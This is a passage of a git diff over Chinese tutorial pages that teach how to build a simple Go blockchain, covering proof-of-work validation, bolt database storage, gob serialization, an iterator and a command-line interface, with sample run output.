        -Hash : 00005acbe17bfbd374fbabe94ba6b64ba8cdfdedf828f02b21f14a4517dcffc3
        + ============== current block index : 3
        +Version : 0
        +PrevBlockHash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563
        +Hash : 00005acbe17bfbd374fbabe94ba6b64ba8cdfdedf828f02b21f14a4517dcffc3
         MerkleRoot : 
        -TimeStamp : 1536370652
        -Difficuty : 10
        -Nonce : 64729
        +TimeStamp : 1536370652
        +Difficuty : 10
        +Nonce : 64729
         Data : Hello i11111!
          duke ~/Desktop/code/v2$
         
        @@ -3245,27 +3241,27 @@

        2. 编译执行

        四、添加校验函数

        校验即对求出来的哈希和随机数进行验证,只需要对求出来的值进行反向的计算比较即可。

        在ProofOfWork.go文件中,添加如下代码:

        -
        //- 提供一个校验函数
        -//IsValid()
        +
        //- 提供一个校验函数
        +//IsValid()
         
        -func (pow *ProofOfWork)IsValid()  bool{
        +func (pow *ProofOfWork)IsValid()  bool{
             hash := sha256.Sum256(pow.prepareData(pow.block.Nonce))
        -    fmt.Printf("is valid hash : %x, %d\n", hash[:], pow.block.Nonce)
        +    fmt.Printf("is valid hash : %x, %d\n", hash[:], pow.block.Nonce)
         
             tTmp := big.Int{}
             tTmp.SetBytes(hash[:])
        -    if tTmp.Cmp(&pow.target)  == -1 {
        -        return true
        +    if tTmp.Cmp(&pow.target)  == -1 {
        +        return true
             }
         
        -    return false
        +    return false
         
        -    //return tTmp.Cmp(&pow.target)  == -1
        +    //return tTmp.Cmp(&pow.target)  == -1
         }
         

        在main.go文件中调用校验函数IsValid,添加如下代码:

        pow := NewProofOfWork(*block)
        -fmt.Printf("IsValid : %v\n", pow.IsValid())
        +fmt.Printf("IsValid : %v\n", pow.IsValid())
         

        位置如下:

        image-20221108132744530

        @@ -3273,38 +3269,38 @@

        五、第二次测试

        重新编译执行,结果如下:

        image-20221108132807179

        优化时间打印:

        -
        timeFormat := time.Unix(int64(block.TimeStamp), 0).Format("2006-01-02 15:04:05")
        -fmt.Printf("时间戳: %s\n", timeFormat)
        +
        timeFormat := time.Unix(int64(block.TimeStamp), 0).Format("2006-01-02 15:04:05")
        +fmt.Printf("时间戳: %s\n", timeFormat)
         

        六、推导难度值

        比特币系统并不是直接给定一个哈希值,而是给定一个难度数字,通过这个数字计算出一个哈希值,我们上面为了简化所以直接给定了一个哈希。现在,我们要模拟比特币模式,给定一个数字,然后推导出目标哈希值。

        -
        func NewProofOfWork(block *Block) *ProofOfWork {
        +
        func NewProofOfWork(block *Block) *ProofOfWork {
             pow := ProofOfWork{
                 block: block,
             }
         
        -    //hashString := "0001000000000000000000000000000000000000000000000000000000000000"
        -    //tmp := big.Int{}
        -    //tmp.SetString(hashString, 16)
        -
        -    //pow.target = &tmp
        -
        -    //目标值:
        -    // 0001000000000000000000000000000000000000000000000000000000000000
        -    //初始值
        -    // 0000000000000000000000000000000000000000000000000000000000000001 
        -    //左移256位
        -    //10000000000000000000000000000000000000000000000000000000000000000
        -    //右移4位(16进制位数)
        -    // 0001000000000000000000000000000000000000000000000000000000000000
        -
        -    targetLocal := big.NewInt(1)
        -    //targetLocal.Lsh(targetLocal, 256)
        -    //targetLocal.Rsh(targetLocal, difficulty)
        -    targetLocal.Lsh(targetLocal, 256-difficulty)
        +    //hashString := "0001000000000000000000000000000000000000000000000000000000000000"
        +    //tmp := big.Int{}
        +    //tmp.SetString(hashString, 16)
        +
        +    //pow.target = &tmp
        +
        +    //目标值:
        +    // 0001000000000000000000000000000000000000000000000000000000000000
        +    //初始值
        +    // 0000000000000000000000000000000000000000000000000000000000000001 
        +    //左移256位
        +    //10000000000000000000000000000000000000000000000000000000000000000
        +    //右移4位(16进制位数)
        +    // 0001000000000000000000000000000000000000000000000000000000000000
        +
        +    targetLocal := big.NewInt(1)
        +    //targetLocal.Lsh(targetLocal, 256)
        +    //targetLocal.Rsh(targetLocal, difficulty)
        +    targetLocal.Lsh(targetLocal, 256-difficulty)
             pow.target = targetLocal
         
        -    return &pow
        +    return &pow
         }
         

        七、总结

        @@ -3339,7 +3335,7 @@

        八、下节预告

        @@ -3425,14 +3421,6 @@

        八、下节预告

        - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-02-v3\345\255\230\345\202\250.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-02-v3\345\255\230\345\202\250.html" index 0f8b8292..865afd71 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-02-v3\345\255\230\345\202\250.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-02-v3\345\255\230\345\202\250.html" @@ -36,10 +36,6 @@ - - - - @@ -3052,58 +3048,58 @@

        1. 概述

        2. demo演示

        下载bolt数据库,放在GOPATH目录下

        创建文件boltDemo.go,填写如下内容:

        -
        package main
        +
        package main
         
        -import (
        -    "bolt"
        -    "os"
        -    "fmt"
        +import (
        +    "bolt"
        +    "os"
        +    "fmt"
         )
         
        -func main() {
        +func main() {
         
        -    //1. 打开数据库
        -    db, err := bolt.Open("test.db", 0600, nil)
        +    //1. 打开数据库
        +    db, err := bolt.Open("test.db", 0600, nil)
         
        -    if err != nil {
        -        fmt.Println("bolt.Open failed!", err)
        -        os.Exit(1)
        +    if err != nil {
        +        fmt.Println("bolt.Open failed!", err)
        +        os.Exit(1)
             }
         
        -    //2.写数据库
        -    db.Update(func(tx *bolt.Tx) error {
        -        bucket := tx.Bucket([]byte("firstBucket"))
        +    //2.写数据库
        +    db.Update(func(tx *bolt.Tx) error {
        +        bucket := tx.Bucket([]byte("firstBucket"))
         
        -        var err error
        -        if bucket == nil {
        -            bucket, err = tx.CreateBucket([]byte("firstBucket"))
        -            if err != nil {
        -                fmt.Println("createBucket failed!", err)
        -                os.Exit(1)
        +        var err error
        +        if bucket == nil {
        +            bucket, err = tx.CreateBucket([]byte("firstBucket"))
        +            if err != nil {
        +                fmt.Println("createBucket failed!", err)
        +                os.Exit(1)
                     }
                 }
         
        -        bucket.Put([]byte("aaaa"), []byte("HelloWorld!"))
        -        bucket.Put([]byte("bbbb"), []byte("HelloItcast!"))
        -        return nil
        +        bucket.Put([]byte("aaaa"), []byte("HelloWorld!"))
        +        bucket.Put([]byte("bbbb"), []byte("HelloItcast!"))
        +        return nil
             })
         
        -    //3.读取数据库
        -    var value []byte
        +    //3.读取数据库
        +    var value []byte
         
        -    db.View(func(tx *bolt.Tx) error {
        -        bucket := tx.Bucket([]byte("firstBucket"))
        -        if bucket == nil {
        -            fmt.Println("Bucket is nil!")
        -            os.Exit(1)
        +    db.View(func(tx *bolt.Tx) error {
        +        bucket := tx.Bucket([]byte("firstBucket"))
        +        if bucket == nil {
        +            fmt.Println("Bucket is nil!")
        +            os.Exit(1)
                 }
         
        -        value = bucket.Get([]byte("aaaa"))
        -        fmt.Println("aaaa => ", string(value))
        -        value = bucket.Get([]byte("bbbb"))
        -        fmt.Println("bbbb => ", string(value))
        +        value = bucket.Get([]byte("aaaa"))
        +        fmt.Println("aaaa => ", string(value))
        +        value = bucket.Get([]byte("bbbb"))
        +        fmt.Println("bbbb => ", string(value))
         
        -        return nil
        +        return nil
             })
         }
         
        @@ -3120,24 +3116,24 @@

        2. demo演示

      3. 更新”last“ 这个key对应的值,这个值就是最后一个区块的哈希值,用于新区块的创建添加。

    二、改写BlockChain结构

    -
    //使用bolt改写
    -type BlockChain struct {
    -    //操作数据库的句柄
    +
    //使用bolt改写
    +type BlockChain struct {
    +    //操作数据库的句柄
         db *bolt.DB
     
    -    //尾巴,存储最后一个区块的哈希
    -    tail []byte
    +    //尾巴,存储最后一个区块的哈希
    +    tail []byte
     }
     

    三、改写NewBlockChain

    1. 分析

    -
    //- 提供一个创建BlockChain的方法
    -func NewBlockChain() *BlockChain {
    +
    //- 提供一个创建BlockChain的方法
    +func NewBlockChain() *BlockChain {
     
    -    var db *bolt.DB
    -    var lastHash []byte
    +    var db *bolt.DB
    +    var lastHash []byte
     
    -    /*
    +    /*
         1. 打开数据库(没有的话就创建)
         2. 找到抽屉(bucket),如果找到,就返回bucket,如果没有找到,我们要创建bucket,通过名字创建
             a. 找到了
    @@ -3147,9 +3143,9 @@ 

    1. 分析

    1. 创建bucket,通过名字 2. 添加创世块数据 3. 更新"last"这个key的value(创世块的哈希值) - */ + */
    - return &BlockChain{db, lastHash} + return &BlockChain{db, lastHash} }

    2. 代码

    @@ -3160,12 +3156,12 @@

    2. 代码

  • 再处理bucket创建逻辑
  • 不要从boltTest复用代码,重新敲一遍
  • -
    //- 提供一个创建BlockChain的方法
    -func NewBlockChain() *BlockChain {
    +
    //- 提供一个创建BlockChain的方法
    +func NewBlockChain() *BlockChain {
     
    -    var lastHash []byte
    +    var lastHash []byte
     
    -    /*
    +    /*
         1. 打开数据库(没有的话就创建)
         2. 找到抽屉(bucket),如果找到,就返回bucket,如果没有找到,我们要创建bucket,通过名字创建
             a. 找到了
    @@ -3176,48 +3172,48 @@ 

    2. 代码

    2. 添加创世块数据 3. 更新"last"这个key的value(创世块的哈希值) - */ + */
    - db, err := bolt.Open(blockChainDb, 0600, nil) + db, err := bolt.Open(blockChainDb, 0600, nil) - if err != nil { - fmt.Println("bolt.Open failed!", err) - os.Exit(1) + if err != nil { + fmt.Println("bolt.Open failed!", err) + os.Exit(1) } - db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket([]byte(blockBucket)) + db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket([]byte(blockBucket)) - var err error - //如果是空的,表明这个bucket没有创建,我们就要去创建它,然后再写数据。 - if bucket == nil { - bucket, err = tx.CreateBucket([]byte(blockBucket)) - if err != nil { - fmt.Println("createBucket failed!", err) - os.Exit(1) + var err error + //如果是空的,表明这个bucket没有创建,我们就要去创建它,然后再写数据。 + if bucket == nil { + bucket, err = tx.CreateBucket([]byte(blockBucket)) + if err != nil { + fmt.Println("createBucket failed!", err) + os.Exit(1) } - //抽屉准备好了,开始写区块数据,区块哪里来?? - genesisBlock := NewBlock("Genesis Block!!!", []byte{}) + //抽屉准备好了,开始写区块数据,区块哪里来?? + genesisBlock := NewBlock("Genesis Block!!!", []byte{}) - bucket.Put(genesisBlock.Hash, genesisBlock.toByte()/*block的字节流!*/) //TODO - bucket.Put([]byte(last), genesisBlock.Hash) + bucket.Put(genesisBlock.Hash, genesisBlock.toByte()/*block的字节流!*/) //TODO + bucket.Put([]byte(last), genesisBlock.Hash) - //这个别忘了,我们需要返回它 + //这个别忘了,我们需要返回它 lastHash = genesisBlock.Hash - return nil + return nil - //抽屉已经存在,直接读取即可 - } else { - //获取最后一个区块的哈希 - lastHash = bucket.Get([]byte(last)) + //抽屉已经存在,直接读取即可 + } else { + //获取最后一个区块的哈希 + lastHash = bucket.Get([]byte(last)) } - return nil + return nil }) - return &BlockChain{db, lastHash} + return &BlockChain{db, lastHash} }

    四、序列化/反序列化

    @@ -3240,38 +3236,38 @@

    4.demo演示

  • 使用gob进行反序列化(解码)得到Person结构
  • 记住,这里所有的结构都用地址传递即可
  • -
    package main
    +
    package main
     
    -import (
    -    "encoding/gob"
    -    "bytes"
    -    "fmt"
    +import (
    +    "encoding/gob"
    +    "bytes"
    +    "fmt"
     )
     
    -type Person struct {
    -    //大写
    -    Name string
    -    Age int
    +type Person struct {
    +    //大写
    +    Name string
    +    Age int
     }
     
    -func main()  {
    -    var buffer bytes.Buffer
    +func main()  {
    +    var buffer bytes.Buffer
         encoder := gob.NewEncoder(&buffer)
     
    -    lily := Person{ "Lily", 28}
    +    lily := Person{ "Lily", 28}
     
         err := encoder.Encode(&lily)
    -    if err != nil {
    -        fmt.Println("encode failed!", err)
    +    if err != nil {
    +        fmt.Println("encode failed!", err)
         }
     
    -    fmt.Println("after serialize :", buffer)
    -    var LILY Person
    +    fmt.Println("after serialize :", buffer)
    +    var LILY Person
     
         decoder := gob.NewDecoder(&buffer)
         err = decoder.Decode(&LILY)
    -    if err != nil {
    -        fmt.Println("decode failed!", err)
    +    if err != nil {
    +        fmt.Println("decode failed!", err)
         }
     
         fmt.Println(LILY)
    @@ -3279,56 +3275,56 @@ 

    4.demo演示

    5.Serialize函数

    /序列化:将结构转化成字节流,在网络上按字节传输。
    -func (block *Block)Serialize() []byte {
    -    //将block数据转换成字节流
    +func (block *Block)Serialize() []byte {
    +    //将block数据转换成字节流
     
    -    var buffer bytes.Buffer
    -    //创建一个编码器
    +    var buffer bytes.Buffer
    +    //创建一个编码器
         encoder := gob.NewEncoder(&buffer)
     
    -    //编码,将block编码成buffer
    +    //编码,将block编码成buffer
         err := encoder.Encode(block)
     
    -    if err != nil {
    -        fmt.Println("encode failed!", err)
    -        os.Exit(1)
    +    if err != nil {
    +        fmt.Println("encode failed!", err)
    +        os.Exit(1)
         }
     
    -    return buffer.Bytes()
    +    return buffer.Bytes()
     }
     

    6.Deserialize函数

    -
    // 反序列化:将接受到的字节流转换成目标结构。
    -func Deserialize(data []byte) Block {
    -    var block Block
    -    var buffer bytes.Buffer
    +
    // 反序列化:将接受到的字节流转换成目标结构。
    +func Deserialize(data []byte) Block {
    +    var block Block
    +    var buffer bytes.Buffer
     
    -    //将data写入buffer
    +    //将data写入buffer
         _, err := buffer.Write(data)
    -    if err != nil {
    -        fmt.Println("buffer.Read failed!", err)
    -        os.Exit(1)
    +    if err != nil {
    +        fmt.Println("buffer.Read failed!", err)
    +        os.Exit(1)
         }
     
    -    //创建decoder
    +    //创建decoder
         decoder := gob.NewDecoder(&buffer)
     
    -    //将buffer数据转换成block
    +    //将buffer数据转换成block
         err = decoder.Decode(&block)
    -    if err != nil {
    -        fmt.Println("decode failed!", err)
    -        os.Exit(1)
    +    if err != nil {
    +        fmt.Println("decode failed!", err)
    +        os.Exit(1)
         }
     
    -    return block
    +    return block
     }
     

    五、改写AddBlock

    记得两件事,put数据,更新lastHash

    1. 代码

    -
    func (bc *BlockChain)AddBlock(data string)  {
    +
    func (bc *BlockChain)AddBlock(data string)  {
     
    -    /*
    +    /*
         //获取最后一个区块
         lastBlock := bc.blocks[len(bc.blocks) -1]
         //获取最后一个区块的哈希,作为最新(当前)区块的前哈希
    @@ -3336,49 +3332,49 @@ 

    1. 代码

    block := NewBlock(data, prevHash) bc.blocks = append(bc.blocks, &block) - */ + */
    - //获取最后区块的哈希值 + //获取最后区块的哈希值 lastBlockHash := bc.tail - //创建新区块 + //创建新区块 newBlock := NewBlock(data, lastBlockHash) - bc.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket([]byte(blockBucket)) + bc.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket([]byte(blockBucket)) - //如果是空的,表明这个bucket没有创建,我们就要去创建它,然后再写数据。 - if bucket == nil { - fmt.Println("bucket should not be nil!!") - os.Exit(1) - } else{ - //添加区块 - bucket.Put(newBlock.Hash, newBlock.toByte()/*block的字节流!*/) //TODO - //更新最后区块的哈希值 - bucket.Put([]byte(last), newBlock.Hash) + //如果是空的,表明这个bucket没有创建,我们就要去创建它,然后再写数据。 + if bucket == nil { + fmt.Println("bucket should not be nil!!") + os.Exit(1) + } else{ + //添加区块 + bucket.Put(newBlock.Hash, newBlock.toByte()/*block的字节流!*/) //TODO + //更新最后区块的哈希值 + bucket.Put([]byte(last), newBlock.Hash) - //这个别忘了,我们需要返回它 + //这个别忘了,我们需要返回它 bc.tail = newBlock.Hash - return nil + return nil } - return nil + return nil }) }

    六、第一次测试

    1. 修改main.go

    将main函数中的打印部分去掉

    -
    package main
    +
    package main
     
    -func main() {
    +func main() {
     
         bc := NewBlockChain()
    -    bc.AddBlock("HelloWorld!")
    -    bc.AddBlock("Hello Itcast!")
    -    bc.AddBlock("Hello i11111!")
    -    //block的数组
    -    /*
    +    bc.AddBlock("HelloWorld!")
    +    bc.AddBlock("Hello Itcast!")
    +    bc.AddBlock("Hello i11111!")
    +    //block的数组
    +    /*
         for index, block := range bc.blocks {
             fmt.Println(" ============== current block index :", index)
             fmt.Printf("Version : %d\n", block.Version)
    @@ -3392,7 +3388,7 @@ 

    1. 修改main.go

    pow := NewProofOfWork(*block) fmt.Printf("IsValid : %v\n", pow.IsValid()) } - */ + */
    }

    2. 编译执行

    @@ -3416,125 +3412,125 @@

    五、迭代器

    0. bolt自带迭代器

    特点:bolt内部使用key的大小进行自动排序,而不是按照插入顺序排序,所以不适用我们的区块打印

    请自行验证遍历key打印输出,代码如下

    -
    func (bc *BlockChain) Printchain() {
    +
    func (bc *BlockChain) Printchain() {
     
         bc.db.View(func(tx *bolt.Tx) error {
    -        // Assume bucket exists and has keys
    -        b := tx.Bucket([]byte("blockBucket"))
    +        // Assume bucket exists and has keys
    +        b := tx.Bucket([]byte("blockBucket"))
     
    -        //从第一个key-> value 进行遍历,到最后一个固定的key时直接返回
    +        //从第一个key-> value 进行遍历,到最后一个固定的key时直接返回
             b.ForEach(func(k, v []byte) error {
    -            if bytes.Equal(k, []byte("LastHashKey")) {
    -                return nil
    +            if bytes.Equal(k, []byte("LastHashKey")) {
    +                return nil
                 }
     
    -            block := Deserialize(v)
    -            //fmt.Printf("key=%x, value=%s\n", k, v)
    -            fmt.Printf("===========================\n\n")
    -            fmt.Printf("版本号: %d\n", block.Version)
    -            fmt.Printf("前区块哈希值: %x\n", block.PrevHash)
    -            fmt.Printf("梅克尔根: %x\n", block.MerkelRoot)
    -            fmt.Printf("时间戳: %d\n", block.TimeStamp)
    -            fmt.Printf("难度值(随便写的): %d\n", block.Difficulty)
    -            fmt.Printf("随机数 : %d\n", block.Nonce)
    -            fmt.Printf("当前区块哈希值: %x\n", block.Hash)
    -            fmt.Printf("区块数据 :%s\n", block.Data)
    -            return nil
    +            block := Deserialize(v)
    +            //fmt.Printf("key=%x, value=%s\n", k, v)
    +            fmt.Printf("===========================\n\n")
    +            fmt.Printf("版本号: %d\n", block.Version)
    +            fmt.Printf("前区块哈希值: %x\n", block.PrevHash)
    +            fmt.Printf("梅克尔根: %x\n", block.MerkelRoot)
    +            fmt.Printf("时间戳: %d\n", block.TimeStamp)
    +            fmt.Printf("难度值(随便写的): %d\n", block.Difficulty)
    +            fmt.Printf("随机数 : %d\n", block.Nonce)
    +            fmt.Printf("当前区块哈希值: %x\n", block.Hash)
    +            fmt.Printf("区块数据 :%s\n", block.Data)
    +            return nil
             })
    -        return nil
    +        return nil
         })
     }
     

    1. 定义迭代器结构

    我们自定义迭代器,实现区块遍历,决堤步骤:创建文件BlockChainIterator.go,添加如下代码:

    -
    //1. 定义一个区块链迭代器的结构
    -type BlockChainIterator struct {
    +
    //1. 定义一个区块链迭代器的结构
    +type BlockChainIterator struct {
         db *bolt.DB
     
    -    //指向当前的区块
    -    current_point []byte 
    +    //指向当前的区块
    +    current_point []byte 
     }
     

    2. 定义迭代器创建函数

    -
    func NewBlockChainIterator(bc *BlockChain) BlockChainIterator {
    +
    func NewBlockChainIterator(bc *BlockChain) BlockChainIterator {
     
    -    var it BlockChainIterator
    +    var it BlockChainIterator
     
         it.db = bc.db
         it.current_point = bc.tail
     
    -    return it
    +    return it
     }
     

    3. 定义迭代器访问函数

    -
    //一般叫Next(),迭代器的访问函数
    -func (it *BlockChainIterator)GetBlockAndMoveLeft() Block {
    -    var block Block
    -    //1. 获取block
    -    it.db.View(func(tx *bolt.Tx) error {
    -        bucket := tx.Bucket([]byte(blockBucket))
    -
    -        //如果是空的,报错。
    -        if bucket == nil {
    -            fmt.Println("bucket should not be nil!!")
    -            os.Exit(1)
    -        } else{
    -
    -            //根据当前的current_pointer获取block
    -            //这是一个字节流,需要反序列化
    +
    //一般叫Next(),迭代器的访问函数
    +func (it *BlockChainIterator)GetBlockAndMoveLeft() Block {
    +    var block Block
    +    //1. 获取block
    +    it.db.View(func(tx *bolt.Tx) error {
    +        bucket := tx.Bucket([]byte(blockBucket))
    +
    +        //如果是空的,报错。
    +        if bucket == nil {
    +            fmt.Println("bucket should not be nil!!")
    +            os.Exit(1)
    +        } else{
    +
    +            //根据当前的current_pointer获取block
    +            //这是一个字节流,需要反序列化
                 current_block_tmp := bucket.Get(it.current_point)
    -            //fmt.Println("current_block_tmp : ", current_block_tmp)
    +            //fmt.Println("current_block_tmp : ", current_block_tmp)
                 current_block := Deserialize(current_block_tmp)
     
    -            //这就拿到了我们想要的区块数据,准备返回
    +            //这就拿到了我们想要的区块数据,准备返回
                 block = current_block
     
    -            //将游标(指针)左移
    -            //2. 向左移动
    +            //将游标(指针)左移
    +            //2. 向左移动
                 it.current_point = current_block.PrevBlockHash
             }
    -        return nil
    +        return nil
         })
     
     
    -    return block
    +    return block
     

    4. 调用迭代器访问函数

    直接讲下面的代码替换原main.go内容

    -
    package main
    +
    package main
     
    -import "fmt"
    +import "fmt"
     
    -func main() {
    +func main() {
     
         bc := NewBlockChain()
    -    bc.AddBlock("HelloWorld!")
    -    bc.AddBlock("Hello Itcast!")
    -    bc.AddBlock("Hello i11111!")
    +    bc.AddBlock("HelloWorld!")
    +    bc.AddBlock("Hello Itcast!")
    +    bc.AddBlock("Hello i11111!")
     
    -    //定义迭代器
    +    //定义迭代器
         it := NewBlockChainIterator(bc)
     
    -    for {
    -        //调用迭代器访问函数,返回当前block,并且向左移动
    +    for {
    +        //调用迭代器访问函数,返回当前block,并且向左移动
             block := it.GetBlockAndMoveLeft()
     
    -        fmt.Println(" ============== =============")
    -        fmt.Printf("Version : %d\n", block.Version)
    -        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
    -        fmt.Printf("Hash : %x\n", block.Hash)
    -        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
    -        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
    -        fmt.Printf("Difficuty : %d\n", block.Difficuty)
    -        fmt.Printf("Nonce : %d\n", block.Nonce)
    -        fmt.Printf("Data : %s\n", block.Data)
    +        fmt.Println(" ============== =============")
    +        fmt.Printf("Version : %d\n", block.Version)
    +        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
    +        fmt.Printf("Hash : %x\n", block.Hash)
    +        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
    +        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
    +        fmt.Printf("Difficuty : %d\n", block.Difficuty)
    +        fmt.Printf("Nonce : %d\n", block.Nonce)
    +        fmt.Printf("Data : %s\n", block.Data)
             pow := NewProofOfWork(block)
    -        fmt.Printf("IsValid : %v\n", pow.IsValid())
    +        fmt.Printf("IsValid : %v\n", pow.IsValid())
     
    -        //终止条件
    -        if len(block.PrevBlockHash)  == 0 {
    -            fmt.Println("print over!")
    -            break
    +        //终止条件
    +        if len(block.PrevBlockHash)  == 0 {
    +            fmt.Println("print over!")
    +            break
             }
         }
     }
    @@ -3545,143 +3541,143 @@ 

    1. 编译执行

    ./block

    2. 执行结果

    duke ~/Desktop/code/v3$  ./block 
    -target : 100000000000000000000000000000000000000000000000000000000000
    -found hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8, 3209217
    -target : 100000000000000000000000000000000000000000000000000000000000
    -found hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c, 1409047
    -target : 100000000000000000000000000000000000000000000000000000000000
    -found hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e, 1086036
    -target : 100000000000000000000000000000000000000000000000000000000000
    -found hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488, 580415
    +target : 100000000000000000000000000000000000000000000000000000000000
    +found hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8, 3209217
    +target : 100000000000000000000000000000000000000000000000000000000000
    +found hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c, 1409047
    +target : 100000000000000000000000000000000000000000000000000000000000
    +found hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e, 1086036
    +target : 100000000000000000000000000000000000000000000000000000000000
    +found hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488, 580415
      ============== =============
    -Version : 0
    -PrevBlockHash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e
    -Hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488
    +Version : 0
    +PrevBlockHash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e
    +Hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488
     MerkleRoot : 
    -TimeStamp : 1536323781
    -Difficuty : 10
    -Nonce : 580415
    +TimeStamp : 1536323781
    +Difficuty : 10
    +Nonce : 580415
     Data : Hello i11111!
    -is valid hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488, 580415
    -IsValid : true
    +is valid hash : 00000a6fddea8ef13c319882077606ae5c27e6ce8c62fb6f2ea2da818f6b8488, 580415
    +IsValid : true
      ============== =============
    -Version : 0
    -PrevBlockHash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c
    -Hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e
    +Version : 0
    +PrevBlockHash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c
    +Hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e
     MerkleRoot : 
    -TimeStamp : 1536323780
    -Difficuty : 10
    -Nonce : 1086036
    +TimeStamp : 1536323780
    +Difficuty : 10
    +Nonce : 1086036
     Data : Hello Itcast!
    -is valid hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e, 1086036
    -IsValid : true
    +is valid hash : 0000054ee9bd49cebe27eaf5ae23c77ba4640c14248814efa0b6323631a0dd9e, 1086036
    +IsValid : true
      ============== =============
    -Version : 0
    -PrevBlockHash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8
    -Hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c
    +Version : 0
    +PrevBlockHash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8
    +Hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c
     MerkleRoot : 
    -TimeStamp : 1536323778
    -Difficuty : 10
    -Nonce : 1409047
    +TimeStamp : 1536323778
    +Difficuty : 10
    +Nonce : 1409047
     Data : HelloWorld!
    -is valid hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c, 1409047
    -IsValid : true
    +is valid hash : 00000b552da1df46e5a7e39768b7d34bac2126ac4c0daec840d1e5656e412b3c, 1409047
    +IsValid : true
      ============== =============
    -Version : 0
    +Version : 0
     PrevBlockHash : 
    -Hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8
    +Hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8
     MerkleRoot : 
    -TimeStamp : 1536323775
    -Difficuty : 10
    -Nonce : 3209217
    +TimeStamp : 1536323775
    +Difficuty : 10
    +Nonce : 3209217
     Data : Genesis Block!!!
    -is valid hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8, 3209217
    -IsValid : true
    -print over!
    +is valid hash : 00000d36d024711a949b9779e4d43a2a18a0707654f491a0f41840ad87f849d8, 3209217
    +IsValid : true
    +print over!
     

    至此,对于数据库的操作已经全部完成,接下来就是去添加命令行,休息一会,喝杯茶吧。

    八、命令行

    创建命令行文件,填入如下代码,代码比较简单,请仔细分析。

    另,这里的实现有些笨重,比如需要反复自己解析os.Args数据,后面版本可以使用flag模块进行优化。

    -
    package main
    +
    package main
     
    -import (
    -    "os"
    -    "fmt"
    +import (
    +    "os"
    +    "fmt"
     )
     
    -type CLI struct {
    +type CLI struct {
         bc *BlockChain
     }
     
    -const Usage = `
    +const Usage = `
         ./blockchain addBlock --data DATA "add a block"
         ./blockchain printChain "print block Chain"
    -`
    +`
     
    -func (cli *CLI) Run() {
    -    if len(os.Args) < 2 {
    +func (cli *CLI) Run() {
    +    if len(os.Args) < 2 {
             fmt.Println(Usage)
    -        os.Exit(1)
    +        os.Exit(1)
         }
     
    -    cmd := os.Args[1]
    +    cmd := os.Args[1]
     
    -    switch cmd {
    -    case "addBlock":
    -        if len(os.Args) > 3 && os.Args[2] == "--data" {
    -            data := os.Args[3]
    -            if data == "" {
    -                fmt.Println("data should not be empty!")
    -                os.Exit(1)
    +    switch cmd {
    +    case "addBlock":
    +        if len(os.Args) > 3 && os.Args[2] == "--data" {
    +            data := os.Args[3]
    +            if data == "" {
    +                fmt.Println("data should not be empty!")
    +                os.Exit(1)
                 }
                 cli.addBlock(data)
    -        } else {
    +        } else {
                 fmt.Println(Usage)
             }
    -    case "printChain":
    +    case "printChain":
             cli.printChain()
    -    default:
    +    default:
             fmt.Println(Usage)
         }
     }
     
    -func (cli *CLI)addBlock(data string)  {
    +func (cli *CLI)addBlock(data string)  {
         cli.bc.AddBlock(data)
     }
     
    -func (cli *CLI)printChain()  {
    +func (cli *CLI)printChain()  {
     
    -    //定义迭代器
    +    //定义迭代器
         it := NewBlockChainIterator(cli.bc)
    -    for {
    +    for {
     
             block := it.GetBlockAndMoveLeft()
     
    -        fmt.Println(" ============== =============")
    -        fmt.Printf("Version : %d\n", block.Version)
    -        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
    -        fmt.Printf("Hash : %x\n", block.Hash)
